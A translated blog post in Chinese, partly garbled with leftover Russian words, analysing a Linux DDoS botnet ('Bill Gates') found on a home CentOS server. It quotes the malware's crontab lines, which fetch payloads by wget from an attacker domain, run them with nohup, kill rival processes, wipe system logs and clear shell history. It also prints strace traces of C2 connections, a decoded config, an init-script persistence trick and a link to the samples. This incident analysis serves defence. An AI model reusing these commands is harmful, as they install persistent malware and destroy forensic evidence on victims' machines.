感觉分析的很好，所以决定翻译出来，希望和大家多多交流O(∩_∩)O~
转载请注明出处：http://blog.csdn.net/u010484477 O(∩_∩)O谢谢
关键字：病毒，linux，信息安全
我昨天写的日志里面提到，家用路由器在x86的CentOS系统下奇怪的自己行动，像是在自己加载处理器。于是我决定爬上去看看，在那里发生了什么，然后我马上意识到有人爬到服务器和挂在进程中的dgnfd564sdf.com。主要是下面几个方面atddd,cupsdd,cupsddh, ksapdd, kysapdd, skysapdd , xfsdxd等等
root 4741 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root 4753 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root 4756 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root 4757 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root 4760 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root 4764 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root 4767 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/skysapd
起初我摸索着看，到底是什么让我的电脑如此的妥协。第一件事，我想到/ etc / rc.local检查。有如下：
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd# crontab -e
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
# Notice that tasks will be started based on the cron‘s system
# daemon‘s notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
# Notice that tasks will be started based on the cron‘s system
# daemon‘s notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
# Notice that tasks will be started based on the cron‘s system
# daemon‘s notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
…
*/1 * * * * killall -9 nfsd4
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
# Notice that tasks will be started based on the cron‘s system
# daemon‘s notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
…
*/1 * * * * killall -9 profild.key
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
# Notice that tasks will be started based on the cron‘s system
…
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*‘ in these fields (for ‘any‘).#
…
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
…
…
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
…
# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR) = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3) = 0
nanosleep({15, 0}, NULL) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR) = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3) = 0
nanosleep({15, 0},
[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0) = -1 ECONNRESET (Connection reset by peer)
close(3) = 0
futex(0x816e8a8, FUTEX_WAKE, 1) = 1
futex(0x816e8a4, FUTEX_WAKE, 1) = 1
nanosleep({15, 0}, NULL) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR) = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0) = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0) = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detachedunset MAILCHECK这意味着在计算机上的僵尸网络是大约7小时。可能实际上没有那么多，但不低。
现在需要检查是否已修改任何系统文件。在CentOS这足够的执行：
rpm -Va[root@Fatalsrv ~]# rpm -Va
S.5....T. c /etc/ppp/chap-secrets
S.5....T. c /etc/issue
S.5....T. c /etc/crontab
S.5....T. c /etc/nagiosgraph/access.conf
S.5....T. c /etc/nagiosgraph/nagiosgraph.conf
.M....... /usr/lib/nagiosgraph/cgi-bin/show.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/showhost.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/showservice.cgi
.M....... /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
.M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.css
.M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.js
S.5....T. /var/log/nagiosgraph/nagiosgraph-cgi.log
S.5....T. /var/log/nagiosgraph/nagiosgraph.log
missing /usr/java/jre1.7.0_40/lib/install.jar
....L.... /lib/modules/2.6.32-358.2.1.el6.x86_64/build
S.5....T. c /etc/tor/torrc
.M....... /
.......T. c /etc/ppp/options.pptpd
S.5....T. c /etc/pptpd.conf
....L.... c /etc/pam.d/fingerprint-auth
....L.... c /etc/pam.d/password-auth
....L.... c /etc/pam.d/smartcard-auth
....L.... c /etc/pam.d/system-auth
S.5....T. c /etc/rsyslog.conf
S.5....T. c /etc/rc.d/rc.local
..5....T. c /etc/sysctl.conf
S.5....T. c /etc/vsftpd/vsftpd.conf
.M....... /var/ftp/pub
..5....T. c /etc/sysconfig/PlexMediaServer
.......T. /usr/lib/plexmediaserver/start.sh
S.5....T. c /etc/sysconfig/lm_sensors
S.5....T. c /etc/php.ini
S.5....T. c /etc/httpd/conf/httpd.conf
.......T. /etc/rc.d/init.d/deluge-daemon
S.5....T. c /etc/cacti/db.php
S.5....T. c /etc/cron.d/cacti
S.5....T. c /etc/httpd/conf.d/cacti.conf
.M....... /usr/share/cacti
.M....... /usr/share/cacti/about.php
.M....... /usr/share/cacti/auth_changepassword.php
.M....... /usr/share/cacti/auth_login.php
.M....... /usr/share/cacti/cdef.php
.M....... /usr/share/cacti/cmd.php
.M....... /usr/share/cacti/color.php
.M....... /usr/share/cacti/data_input.php
.M....... /usr/share/cacti/data_queries.php
.M....... /usr/share/cacti/data_sources.php
.M....... /usr/share/cacti/data_templates.php
.M....... /usr/share/cacti/gprint_presets.php
.M....... /usr/share/cacti/graph.php
.M....... /usr/share/cacti/graph_image.php
.M....... /usr/share/cacti/graph_settings.php
.M....... /usr/share/cacti/graph_templates.php
.M....... /usr/share/cacti/graph_templates_inputs.php
.M....... /usr/share/cacti/graph_templates_items.php
.M....... /usr/share/cacti/graph_view.php
.M....... /usr/share/cacti/graph_xport.php
.M....... /usr/share/cacti/graphs.php
.M....... /usr/share/cacti/graphs_items.php
.M....... /usr/share/cacti/graphs_new.php
.M....... /usr/share/cacti/host.php
.M....... /usr/share/cacti/host_templates.php
.M....... /usr/share/cacti/images
.M....... /usr/share/cacti/images/arrow.gif
.M....... /usr/share/cacti/images/auth_deny.gif
.M....... /usr/share/cacti/images/auth_login.gif
.M....... /usr/share/cacti/images/auth_logout.gif
.M....... /usr/share/cacti/images/button_add.gif
.M....... /usr/share/cacti/images/button_cancel.gif
.M....... /usr/share/cacti/images/button_cancel2.gif
.M....... /usr/share/cacti/images/button_clear.gif
.M....... /usr/share/cacti/images/button_colapse_all.gif
.M....... /usr/share/cacti/images/button_create.gif
.M....... /usr/share/cacti/images/button_default.gif
.M....... /usr/share/cacti/images/button_delete.gif
.M....... /usr/share/cacti/images/button_expand_all.gif
.M....... /usr/share/cacti/images/button_export.gif
.M....... /usr/share/cacti/images/button_go.gif
.M....... /usr/share/cacti/images/button_help.gif
.M....... /usr/share/cacti/images/button_import.gif
.M....... /usr/share/cacti/images/button_no.gif
.M....... /usr/share/cacti/images/button_purge.gif
.M....... /usr/share/cacti/images/button_refresh.gif
.M....... /usr/share/cacti/images/button_save.gif
.M....... /usr/share/cacti/images/button_view.gif
.M....... /usr/share/cacti/images/button_yes.gif
.M....... /usr/share/cacti/images/cacti_about_logo.gif
.M....... /usr/share/cacti/images/cacti_backdrop.gif
.M....... /usr/share/cacti/images/cacti_backdrop2.gif
.M....... /usr/share/cacti/images/cacti_logo.gif
.M....... /usr/share/cacti/images/calendar.gif
.M....... /usr/share/cacti/images/delete_icon.gif
.M....... /usr/share/cacti/images/delete_icon_large.gif
.M....... /usr/share/cacti/images/disable_icon.png
.M....... /usr/share/cacti/images/enable_icon.png
.M....... /usr/share/cacti/images/enable_icon_disabled.png
.M....... /usr/share/cacti/images/favicon.ico
.M....... /usr/share/cacti/images/graph_page_top.gif
.M....... /usr/share/cacti/images/graph_properties.gif
.M....... /usr/share/cacti/images/graph_query.png
.M....... /usr/share/cacti/images/graph_zoom.gif
.M....... /usr/share/cacti/images/hide.gif
.M....... /usr/share/cacti/images/install_icon.png
.M....... /usr/share/cacti/images/install_icon_disabled.png
.M....... /usr/share/cacti/images/left_border.gif
.M....... /usr/share/cacti/images/menu_line.gif
.M....... /usr/share/cacti/images/menuarrow.gif
.M....... /usr/share/cacti/images/move_down.gif
.M....... /usr/share/cacti/images/move_left.gif
.M....... /usr/share/cacti/images/move_right.gif
.M....... /usr/share/cacti/images/move_up.gif
.M....... /usr/share/cacti/images/reload_icon_small.gif
.M....... /usr/share/cacti/images/shadow.gif
.M....... /usr/share/cacti/images/shadow_gray.gif
.M....... /usr/share/cacti/images/show.gif
.M....... /usr/share/cacti/images/tab_cacti.gif
.M....... /usr/share/cacti/images/tab_console.gif
.M....... /usr/share/cacti/images/tab_console_down.gif
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.M....... /var/lib/cacti/scripts/linux_memory.pl
.M....... /var/lib/cacti/scripts/loadavg.pl
.M....... /var/lib/cacti/scripts/loadavg_multi.pl
.M....... /var/lib/cacti/scripts/ping.pl
.M....... /var/lib/cacti/scripts/query_host_cpu.php
.M....... /var/lib/cacti/scripts/query_host_partitions.php
.M....... /var/lib/cacti/scripts/query_unix_partitions.pl
.M....... /var/lib/cacti/scripts/sql.php
.M....... /var/lib/cacti/scripts/ss_fping.php
.M....... /var/lib/cacti/scripts/ss_host_cpu.php
.M....... /var/lib/cacti/scripts/ss_host_disk.php
.M....... /var/lib/cacti/scripts/ss_sql.php
.M....... /var/lib/cacti/scripts/unix_processes.pl
.M....... /var/lib/cacti/scripts/unix_tcp_connections.pl
.M....... /var/lib/cacti/scripts/unix_users.pl
.M....... /var/lib/cacti/scripts/weatherbug.pl
.M....... /var/lib/cacti/scripts/webhits.pl
S.5....T. /var/log/cacti/cacti.log
S.5....T. c /etc/ntop.conf
.......T. c /etc/avahi/hosts
S.5....T. c /etc/netatalk/AppleVolumes.default
S.5....T. c /etc/netatalk/afpd.conf
S.5....T. c /etc/netatalk/netatalk.conf
S.5....T. c /etc/httpd/conf.d/nagios.conf
S.5....T. c /etc/nagios/nagios.cfg
S.5....T. c /etc/nagios/objects/commands.cfg
S.5....T. c /etc/nagios/objects/localhost.cfg
S.5....T. c /etc/sysconfig/ntpd
S.5....T. c /etc/profile
SM5..UGT. c /etc/snmp/snmpd.conf
S.5....T. c /etc/sysconfig/iptables-config
.......T. c /etc/avahi/avahi-dnsconfd.action
S.5....T. c /etc/dnsmasq.conf关于的6othete搜索信息：
第一件事，我开始寻找某种关于它的信息ботнете，寻找名叫域，代表从crontab文件和线。
立刻找了一些资料
My home PC has been 0wn3d :( @ forums.debian.net
What do sapd, skysapd, sksapd, and ksapd do? @ askubuntu.com
I Got Myself Hacked @ hackervisions.org
Suspected rootkit @ archlinuxarm.org
总的来说，没有什么有趣的或新的。
研究ботнета文件
随后，我利用了程序文件，以了解更多关于这些可执行文件：
atddd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsddh: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
kysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
xfsdxd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped盖茨
所以，“Gates?cupsdd模块。603170ad361f6e098c8681ed264155eb 1714fd31cc931e2a0eb97d25a076567af45dc6d8
他做的是相同的，他怎样做的呢？这是我们用IDA Pro来回答的，例如。
这个模块想做什么？
试图初始化自己
RSA数据的解压缩，在我的情况下，是这样：
116.10.189.246:30000:1:1:h:578856:579372:579888g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888***“Bill?试图安装模块
检查是否已经有了gates模块却没有运行。如果没有的话，将PID存储在文件中的锁定在 / TMP / bill.lock中
找到一条路径，存储在当前的EXE，通过阅读/ proc / % d / exe路径，分配，Bill尾部 ‘添加‘，расшифрованного他在那里打开记录文件和记录信息
并启动一个新的文件。
##守护进程的功能在这里体现到了，引起ребиндитstdout和stderr上当前的标准输入，/ dev /null
##检查是否他自己（模块，运行“Gates?）通过检查文件/ TMP / gates.lock。如果运行的话，盖茨结束。
##在“添加распакованныйBill?自动加载模块的init脚本наипростейшегоsysvinit通过建立在/ etc / init.d / c，名为“DbSecuritySpt?类：
#!/bin/bash
/path/to/bill##启动MainProcess（）函数
读关于系统的基本信息，CPU，内存，网络地图
比尔
“Bill?- DDoS模块的模块。在我的情况下，被称为“cupsddh”
@@@对善于攻击主机的TCP，UDP，ICMP和DNSамплификации方法。CPU会限制自己的资源
@@@读关于系统的基本信息，CPU，内存，网络地图上，винчестерах。
@@@关于DNS读取信息。
@@@?加载模块/usr/lib xpacket.ko
@@@写下自己的/ usr / lib / libamplify.so
我开始寻找他如何可以接收从主模块传来的命令以进行攻击
“стучащий?模块
ksapdd -将文件的统计信息发送给主服务器。
他是个缝在服务器和端口的程序。在我的情况下，这是121.12.110.96：10991解码的下的结果：
Kysapdd skysapdd, file, and atddd ksapdd xfsdxd is a copy,but the first connects to 112.90.252.76:10991 10991 112.90.22.197,the two ,third ,four connects to 116.10.189.246:10991, and the 202.103.178.76:10991
结论
嗯，经历了这一切，我们更应加强一些表面的重点管理的服务器，照顾好自己的服务器
rghost.ru/52680741这里有所有的文件。
僵尸网络，Linux，逆向工程
这就是全部内容了，最后送上一句话：
Do you still remember the reason why you are here?
基于Linux平台下的僵尸网络病毒《比尔盖茨》,布布扣,bubuko.com
原文地址：http://blog.csdn.net/u010484477/article/details/30108503
